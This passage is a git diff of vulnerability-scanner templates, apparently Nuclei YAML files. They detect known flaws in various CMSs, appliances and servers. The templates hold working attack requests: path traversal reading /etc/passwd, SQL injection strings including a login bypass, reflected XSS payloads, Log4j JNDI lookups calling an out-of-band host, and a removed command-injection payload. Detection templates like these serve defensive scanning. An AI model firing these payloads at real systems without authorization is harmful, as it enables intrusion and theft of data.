and + matchers: + - type: word + part: body + words: + - 'sub menu for: ' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 500 diff --git a/vulnerabilities/other/dicoogle-pacs-lfi.yaml b/vulnerabilities/other/dicoogle-pacs-lfi.yaml index 84da5d8927..b31e82cb5f 100644 --- a/vulnerabilities/other/dicoogle-pacs-lfi.yaml +++ b/vulnerabilities/other/dicoogle-pacs-lfi.yaml @@ -1,14 +1,19 @@ id: dicoogle-pacs-lfi info: - name: Dicoogle PACS 2.5.0 - Directory Traversal + name: Dicoogle PACS 2.5.0 - Local File Inclusion author: 0x_akoko severity: high - description: In version 2.5.0, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required. + description: Dicoogle PACS 2.5.0 is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required. reference: + - https://www.exploit-db.com/exploits/45007 - https://cxsecurity.com/issue/WLB-2018070131 - http://www.dicoogle.com/home - tags: windows,lfi,dicoogle + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: edb,windows,lfi,dicoogle requests: - method: GET @@ -23,3 +28,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/digitalrebar-traversal.yaml b/vulnerabilities/other/digitalrebar-traversal.yaml new file mode 100644 index 0000000000..f0e57c7006 --- /dev/null +++ b/vulnerabilities/other/digitalrebar-traversal.yaml @@ -0,0 +1,39 @@ +id: digitalrebar-traversal + +info: + name: Digital Rebar - Local File Inclusion + author: c-sh0 + severity: high + description: Digital Rebar versions 4.3.0, 4.3.2, 4.3.3, 4.4.0, and maybe others are vulnerable to local file inclusion because web requests can navigate outside of DRP controlled areas. + reference: + - https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html + - https://docs.rackn.io/en/latest/doc/release.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,rackn,digitalrebar + +requests: + - method: GET + path: + - "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + part: body + regex: + - "root:.*:0:0" + + - type: word + part: header + words: + - 'X-Drp-Sha256sum:' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/discourse-xss.yaml b/vulnerabilities/other/discourse-xss.yaml index 1ba1c7ef63..27bf55e7c8 100644 --- a/vulnerabilities/other/discourse-xss.yaml +++ b/vulnerabilities/other/discourse-xss.yaml @@ -1,7 +1,7 @@ id: discourse-xss info: - name: Discourse CMS - XSS + name: Discourse CMS - Cross-Site Scripting author: madrobot severity: medium description: Cross-site scripting (XSS) on Discourse CMS @@ -10,7 +10,7 @@ info: requests: - method: GET path: - - '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(xss)%3E' + - '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E' matchers-condition: and matchers: - type: status @@ -19,10 +19,10 @@ requests: - type: word words: - - "" + - "" part: body - type: word words: - "text/html" - part: header \ No newline at end of file + part: header diff --git a/vulnerabilities/other/dixell-xweb500-filewrite.yaml b/vulnerabilities/other/dixell-xweb500-filewrite.yaml index 5cfb5554ca..445c9333ac 100644 --- a/vulnerabilities/other/dixell-xweb500-filewrite.yaml +++ b/vulnerabilities/other/dixell-xweb500-filewrite.yaml @@ -1,14 +1,16 @@ id: dixell-xweb500-filewrite info: - name: Dixell XWEB-500 - Arbitrary File Write + name: Emerson Dixell XWEB-500 - Arbitrary File Write author: hackerarpan severity: critical + description: Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced. reference: - https://www.exploit-db.com/exploits/50639 + - https://nvd.nist.gov/vuln/detail/CVE-2021-45420 metadata: - google-dork: inurl:"xweb500.cgi" - tags: lfw,iot,dixell,xweb500 + google-query: inurl:"xweb500.cgi" + tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive requests: - raw: @@ -34,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/01 diff --git a/vulnerabilities/other/dotnetcms-sqli.yaml b/vulnerabilities/other/dotnetcms-sqli.yaml new file mode 100644 index 0000000000..32a2bed114 --- /dev/null +++ b/vulnerabilities/other/dotnetcms-sqli.yaml @@ -0,0 +1,29 @@ +id: dotnetcms-sqli + +info: + name: DotnetCMS SQLi + author: ritikchaddha + severity: high + metadata: + verified: true + shodan-query: http.html:"dotnetcms" + reference: + - https://www.cnblogs.com/rebeyond/p/4951418.html + - http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742 + tags: dotnetcms,dotnet,sqli + +requests: + - method: GET + path: + - "{{BaseURL}}/user/City_ajax.aspx?CityId=33'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{randstr}}')),2--" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5("{{randstr}}")}}' + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/dss-download-fileread.yaml b/vulnerabilities/other/dss-download-fileread.yaml index 732b472466..f8533dd8e1 100644 --- a/vulnerabilities/other/dss-download-fileread.yaml +++ b/vulnerabilities/other/dss-download-fileread.yaml @@ -1,9 +1,14 @@ id: dss-download-fileread info: - name: DSS Download File Read + name: DSS Download - Local File Inclusion author: ritikchaddha severity: high + description: DSS Download is vulnerable to local file inclusion. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: lfi,dss,lfr requests: @@ -22,3 +27,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/duomicms-sql-injection.yaml b/vulnerabilities/other/duomicms-sql-injection.yaml index 4b5cbee41c..037f7558a3 100644 --- a/vulnerabilities/other/duomicms-sql-injection.yaml +++ b/vulnerabilities/other/duomicms-sql-injection.yaml @@ -6,21 +6,24 @@ info: severity: high reference: - https://redn3ck.github.io/2016/11/01/duomiCMS/ + metadata: + verified: true + shodan-query: title:"DuomiCMS" tags: duomicms,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(9999999999)))" + - "{{BaseURL}}/duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5({{num}})))" matchers-condition: and matchers: - - type: word words: - - "e0ec043b3f9e198ec09041687e4d4e8d" - part: body - condition: and + - '{{md5({{num}})}}' - type: status status: diff --git a/vulnerabilities/other/dzzoffice-xss.yaml b/vulnerabilities/other/dzzoffice-xss.yaml new file mode 100644 index 0000000000..6d494d58e7 --- /dev/null +++ b/vulnerabilities/other/dzzoffice-xss.yaml @@ -0,0 +1,38 @@ +id: dzzoffice-xss + +info: + name: Dzzoffice 2.02.1_SC_UTF8 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + A XSS vulnerability was discovered in dzzoffice 2.02.1_SC_UTF8, There is a Reflected XSS attacks vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter. + reference: + - https://github.com/zyx0814/dzzoffice/issues/183 + metadata: + verified: true + shodan-query: http.html:"dzzoffice" + tags: dzzoffice,xss + +requests: + - raw: + - | + POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + id=%23&nouser=0&moderator=0&zero=&stype=0&range=0&showjob=0 + + matchers-condition: and + matchers: + - type: word + words: + - '"text":"' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/ecshop-sqli.yaml b/vulnerabilities/other/ecshop-sqli.yaml index d1769cf368..fbb70eb64c 100644 --- a/vulnerabilities/other/ecshop-sqli.yaml +++ b/vulnerabilities/other/ecshop-sqli.yaml @@ -1,13 +1,19 @@ id: ecshop-sqli info: - name: Ecshop SQLi - author: Lark-lab,ImNightmaree + name: ECShop 2.x/3.x SQL Injection + author: Lark-lab,ImNightmaree,ritikchaddha severity: high - description: A vulnerability in Ecshop allows remote unauthenticated users to inject arbitrary SQL statements into via the 'Referer' header field. + description: | + The vulnerability affects ECShop 2.x and 3.x versions allows remote unauthenticated users to inject arbitrary SQL statements into via the 'Referer' header field,and later via SQL injection vulnerability to malicious code injected into the dangerous eval function in order to achieve arbitrary code execution. reference: - https://titanwolf.org/Network/Articles/Article?AID=af15bee8-7afc-4bb2-9761-a7d61210b01a - https://phishingkittracker.blogspot.com/2019/08/userphp-ecshop-sql-injection-2017.html + - http://www.wins21.com/mobile/blog/blog_view.html?num=1172 + - https://www.shutingrz.com/post/ad_hack-ec_exploit/ + metadata: + verified: true + fofa-query: app="ECShop" tags: sqli,php,ecshop requests: @@ -18,6 +24,14 @@ requests: Content-Type: application/x-www-form-urlencoded Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} + - | + GET /user.php?act=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca + + stop-at-first-match: true + matchers-condition: or matchers: - type: word words: @@ -26,3 +40,9 @@ requests: - '[0] => Array' - 'MySQL server error report:Array' condition: and + + - type: word + words: + - "PHP Extension" + - "PHP Version" + condition: and diff --git a/vulnerabilities/other/eibiz-lfi.yaml b/vulnerabilities/other/eibiz-lfi.yaml index 5ba1f5f9d8..99707662ea 100644 --- a/vulnerabilities/other/eibiz-lfi.yaml +++ b/vulnerabilities/other/eibiz-lfi.yaml @@ -1,13 +1,17 @@ id: eibiz-lfi info: - name: Eibiz i-Media Server Digital Signage 3.8.0 File Path Traversal + name: Eibiz i-Media Server Digital Signage 3.8.0 - Local File Inclusion author: 0x_akoko severity: high - description: An unauthenticated remote attacker can exploit this to view the contents of files located outside of the server's root directory. The issue can be triggered through the oldfile GET parameter. + description: Eibiz i-Media Server Digital Signage 3.8.0 is vulnerable to local file inclusion. An unauthenticated remote attacker can exploit this to view the contents of files located outside of the server's root directory. The issue can be triggered through the oldfile GET parameter. reference: - https://packetstormsecurity.com/files/158943/Eibiz-i-Media-Server-Digital-Signage-3.8.0-File-Path-Traversal.html - tags: windows,lfi,eibiz + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,eibiz,packetstorm,windows requests: - method: GET @@ -22,3 +26,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/elFinder-path-traversal.yaml b/vulnerabilities/other/elFinder-path-traversal.yaml new file mode 100644 index 0000000000..fd0d19032e --- /dev/null +++ b/vulnerabilities/other/elFinder-path-traversal.yaml @@ -0,0 +1,37 @@ +id: elFinder-path-traversal + +info: + name: elFinder <=2.1.12 - Local File Inclusion + author: ritikchaddha + severity: high + description: | + elFinder through 2.1.12 is vulnerable to local file inclusion via Connector.minimal.php in std42. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. + reference: + - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html + metadata: + verified: true + shodan-query: title:"elfinder" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,elfinder + +requests: + - raw: + - | + GET /php/connector.minimal.php?cmd=file&target=l1_Li8vLi4vLy4uLy8uLi8vLi4vLy4uLy8uLi9ldGMvcGFzc3dk&download=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/26 diff --git a/vulnerabilities/other/elasticsearch5-log4j-rce.yaml b/vulnerabilities/other/elasticsearch5-log4j-rce.yaml new file mode 100644 index 0000000000..9805dbd6a9 --- /dev/null +++ b/vulnerabilities/other/elasticsearch5-log4j-rce.yaml @@ -0,0 +1,50 @@ +id: elasticsearch5-log4j-rce + +info: + name: Elasticsearch 5 - Log4j Remote Code Execution + author: akincibor + severity: critical + description: | + A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in impacted Elasticsearch 5. + reference: + - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/ + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + metadata: + verified: true + tags: jndi,log4j,rce,oast,elasticsearch,cve,cve2021 + +requests: + - raw: + - | + GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F%24%7BhostName%7D.{{interactsh-url}}%7D HTTP/1.1 + Host: {{Hostname}} + + { + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output diff --git a/vulnerabilities/other/empirecms-xss.yaml b/vulnerabilities/other/empirecms-xss.yaml index edc848b882..6fa8d62c0b 100644 --- a/vulnerabilities/other/empirecms-xss.yaml +++ b/vulnerabilities/other/empirecms-xss.yaml @@ -1,7 +1,7 @@ id: empirecms-xss info: - name: EmpireCMS v75 XSS + name: EmpireCMS v75 Cross-Site Scripting author: pikpikcu severity: medium reference: diff --git a/vulnerabilities/other/ems-sqli.yaml b/vulnerabilities/other/ems-sqli.yaml new file mode 100644 index 0000000000..f642b72dc3 --- /dev/null +++ b/vulnerabilities/other/ems-sqli.yaml @@ -0,0 +1,39 @@ +id: ems-sqli + +info: + name: Employee Management System 1.0 - SQLi Authentication Bypass + author: arafatansari + severity: high + description: | + Employee Management System Login page can be bypassed with a simple SQLi to the username parameter. + reference: + - https://www.exploit-db.com/exploits/48882 + - https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip + metadata: + verified: true + tags: ems,sqli,cms,auth-bypass,edb + +requests: + - raw: + - | + POST /process/aprocess.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + mailuid=admin' or 1=1#&pwd=nuclei&login-submit=Login + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Admin Panel' + - 'Log Out' + - 'Employee Management System' + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/eris-xss.yaml b/vulnerabilities/other/eris-xss.yaml new file mode 100644 index 0000000000..29bf5c34c0 --- /dev/null +++ b/vulnerabilities/other/eris-xss.yaml @@ -0,0 +1,38 @@ +id: eris-xss + +info: + name: Complete Online Job Search System v1.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Complete Online Job Search System v1.0 is vulnerable to Reflected Cross Site Scripting via index.php?q=advancesearch. + metadata: + verified: true + tags: cve,cve2022,xss,eris + +requests: + - raw: + - | + POST /index.php?q=result&searchfor=advancesearch HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Result : ' + - 'ERIS' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/etouch-v2-sqli.yaml b/vulnerabilities/other/etouch-v2-sqli.yaml index 4983e47bcb..93efc456c6 100644 --- a/vulnerabilities/other/etouch-v2-sqli.yaml +++ b/vulnerabilities/other/etouch-v2-sqli.yaml @@ -9,10 +9,13 @@ info: - https://www.anquanke.com/post/id/168991 tags: etouch,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)''" + - "{{BaseURL}}/upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5({{num}}),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)''" matchers-condition: and matchers: @@ -22,5 +25,5 @@ requests: - type: word words: - - "c4ca4238a0b923820dcc509a6f75849b" + - '{{md5({{num}})}}' part: body diff --git a/vulnerabilities/other/ewebs-arbitrary-file-reading.yaml b/vulnerabilities/other/ewebs-arbitrary-file-reading.yaml index d52ba57f9e..2930152563 100644 --- a/vulnerabilities/other/ewebs-arbitrary-file-reading.yaml +++ b/vulnerabilities/other/ewebs-arbitrary-file-reading.yaml @@ -1,12 +1,16 @@ id: ewebs-arbitrary-file-reading info: - name: EWEBS casmain.xgi arbitrary file reading vulnerability + name: EWEBS - Local File Inclusion author: pikpikcu severity: high - description: A vulnerability in EWEBS's 'casmain.xgi' endpoint allows remote attackers to disclose the content of locally stored files via the 'Language_S' parameter. + description: EWEBS is vulnerable to local file inclusion and allows remote attackers to disclose the content of locally stored files via the 'Language_S' parameter supplied to the 'casmain.xgi' endpoint. reference: - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%9E%81%E9%80%9AEWEBS/%E6%9E%81%E9%80%9AEWEBS%20casmain.xgi%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: ewebs,lfi requests: @@ -30,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/eyou-email-rce.yaml b/vulnerabilities/other/eyou-email-rce.yaml deleted file mode 100644 index fe580099c6..0000000000 --- a/vulnerabilities/other/eyou-email-rce.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: eyou-email-rce - -info: - name: eYou E-Mail system RCE - author: pikpikcu - severity: critical - reference: - - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g - tags: rce,eyou - -requests: - - raw: - - | - POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - type='|cat /etc/passwd||' - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body - - - type: status - status: - - 200 diff --git a/vulnerabilities/other/feifeicms-lfr.yaml b/vulnerabilities/other/feifeicms-lfr.yaml index 4a074e68dc..1b160dbe3c 100644 --- a/vulnerabilities/other/feifeicms-lfr.yaml +++ b/vulnerabilities/other/feifeicms-lfr.yaml @@ -1,12 +1,17 @@ id: feifeicms-lfr info: - name: FeiFeiCms Local File Read + name: FeiFeiCms - Local File Inclusion author: princechaddha severity: high + description: FeiFeiCms is vulnerable to local file inclusion. reference: - https://www.cnblogs.com/jinqi520/p/10202615.html - https://gitee.com/daicuo/feifeicms + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: feifeicms,lfi requests: @@ -28,3 +33,5 @@ requests: - "db_host" condition: and part: body + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/finecms-sqli.yaml b/vulnerabilities/other/finecms-sqli.yaml new file mode 100644 index 0000000000..3ad8023e19 --- /dev/null +++ b/vulnerabilities/other/finecms-sqli.yaml @@ -0,0 +1,24 @@ +id: finecms-sqli + +info: + name: FineCMS 5.0.10 - SQL Injection + author: ritikchaddha + severity: high + description: | + SQL Injection exists in FineCMS 5.0.10. + reference: + - https://blog.csdn.net/dfdhxb995397/article/details/101385340 + tags: finecms,sqli + +variables: + num: "999999999" + +requests: + - method: GET + path: + - '{{BaseURL}}/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20md5({{num}})%27' + + matchers: + - type: word + words: + - '{{md5({{num}})}}' diff --git a/vulnerabilities/other/finereport-path-traversal.yaml b/vulnerabilities/other/finereport-path-traversal.yaml index 0ebcfd9014..57bf30e643 100644 --- a/vulnerabilities/other/finereport-path-traversal.yaml +++ b/vulnerabilities/other/finereport-path-traversal.yaml @@ -1,11 +1,16 @@ id: finereport-path-traversal info: - name: FineReport 8.0 Path Traversal + name: FineReport 8.0 - Local File Inclusion author: pikpikcu - severity: medium + severity: high + description: FIneReport 8.0 is vulnerable to local file inclusion. reference: - http://foreversong.cn/archives/1378 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: finereport,lfi requests: @@ -26,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/flir-path-traversal.yaml b/vulnerabilities/other/flir-path-traversal.yaml index 6564db13b2..d181c2445d 100644 --- a/vulnerabilities/other/flir-path-traversal.yaml +++ b/vulnerabilities/other/flir-path-traversal.yaml @@ -1,11 +1,16 @@ id: flir-path-traversal info: - name: Flir Path Traversal + name: Flir - Local File Inclusion author: pikpikcu severity: high + description: Flir is vulnerable to local file inclusion. reference: - https://juejin.cn/post/6961370156484263972 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: flir,lfi requests: @@ -24,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/geovision-geowebserver-lfi.yaml b/vulnerabilities/other/geovision-geowebserver-lfi.yaml index 08261363a2..5e2bb3147f 100644 --- a/vulnerabilities/other/geovision-geowebserver-lfi.yaml +++ b/vulnerabilities/other/geovision-geowebserver-lfi.yaml @@ -1,13 +1,17 @@ id: geowebserver-lfi info: - name: GeoVision Geowebserver 5.3.3 - LFI + name: GeoVision Geowebserver 5.3.3 - Local File Inclusion author: madrobot severity: high - description: A vulnerability in GeoVision Geowebserver allows remote unauthenticated attackers to disclose the content of locally stored files. + description: GeoVision Geowebserver 5.3.3 allows remote unauthenticated attackers to disclose the content of locally stored files via local file inclusion. reference: - https://packetstormsecurity.com/files/163860/geovisiongws533-lfixssxsrfexec.txt - tags: geowebserver,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: packetstorm,geowebserver,lfi requests: - method: GET @@ -29,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/geovision-geowebserver-xss.yaml b/vulnerabilities/other/geovision-geowebserver-xss.yaml index 48221d3663..4e1c478d4d 100644 --- a/vulnerabilities/other/geovision-geowebserver-xss.yaml +++ b/vulnerabilities/other/geovision-geowebserver-xss.yaml @@ -1,13 +1,17 @@ id: geowebserver-xss info: - name: GeoVision Geowebserver 5.3.3 - XSS + name: GeoVision Geowebserver 5.3.3 - Cross-Site Scripting author: madrobot - severity: medium - description: GEOVISION GEOWEBSERVER =< 5.3.3 are vulnerable to several XSS / HTML Injection / Local File Include / XML Injection / Code execution vectors. The application fails to properly sanitize user requests. + severity: high + description: GeoVision Geowebserver 5.3.3 and prior versions are vulnerable to several cross-site scripting / HTML injection / local file inclusion / XML injection / code execution vectors because the application fails to properly sanitize user requests. reference: - https://packetstormsecurity.com/files/163860/geovisiongws533-lfixssxsrfexec.txt - tags: geowebserver,xss + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: geowebserver,xss,packetstorm requests: - raw: @@ -32,3 +36,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/global-domains-lfi.yaml b/vulnerabilities/other/global-domains-lfi.yaml index a7d542d48b..0a772061e3 100644 --- a/vulnerabilities/other/global-domains-lfi.yaml +++ b/vulnerabilities/other/global-domains-lfi.yaml @@ -1,12 +1,17 @@ id: global-domains-lfi info: - name: Global Domains International Directory traversal Vulnerability + name: Global Domains International - Local File Inclusion author: 0x_Akoko severity: high + description: Global Domains International is vulnerable to local file inclusion. reference: - https://cxsecurity.com/issue/WLB-2018020247 - http://www.nic.ws + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: globaldomains,lfi,traversal requests: @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/27 diff --git a/vulnerabilities/other/global-domains-xss.yaml b/vulnerabilities/other/global-domains-xss.yaml index c842000e15..c5e51230bd 100644 --- a/vulnerabilities/other/global-domains-xss.yaml +++ b/vulnerabilities/other/global-domains-xss.yaml @@ -1,12 +1,19 @@ id: global-domains-xss info: - name: Global Domains International XSS + name: Global Domains International - Cross-Site Scripting author: princechaddha - severity: medium + severity: high + description: | + Sites hosted by Global Domains International, Inc. have cross-site scripting and directory traversal vulnerabilities. reference: - https://cxsecurity.com/issue/WLB-2018020247 - tags: globaldomains,xss + - https://packetstormsecurity.com/files/126545/Global-Domains-International-Cross-Site-Scripting-Traversal.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: globaldomains,xss,packetstorm requests: - method: GET @@ -28,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by cs on 2022/09/09 diff --git a/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml b/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml new file mode 100644 index 0000000000..5943e2abd5 --- /dev/null +++ b/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml @@ -0,0 +1,65 @@ +id: goanywhere-mft-log4j-rce + +info: + name: GoAnywhere Managed File Transfer - Log4j Remote Code Execution + author: pussycat0x + severity: critical + reference: + - https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + metadata: + verified: true + shodan-query: http.html:"GoAnywhere Managed File Transfer" + tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere + +requests: + - raw: + - | + GET /goanywhere/auth/Login.xhtml HTTP/1.1 + Host: {{Hostname}} + + - | + POST /goanywhere/auth/Login.xhtml HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Origin: {{RootURL}} + Referer: {{RootURL}}/goanywhere/auth/Login.xhtml + + formPanel%3AloginGrid%3Aname=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable + + extractors: + - type: regex + name: view + part: body + group: 1 + regex: + - 'javax\.faces\.ViewState:1" value="(.*)" autocomplete' + internal: true + + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output diff --git 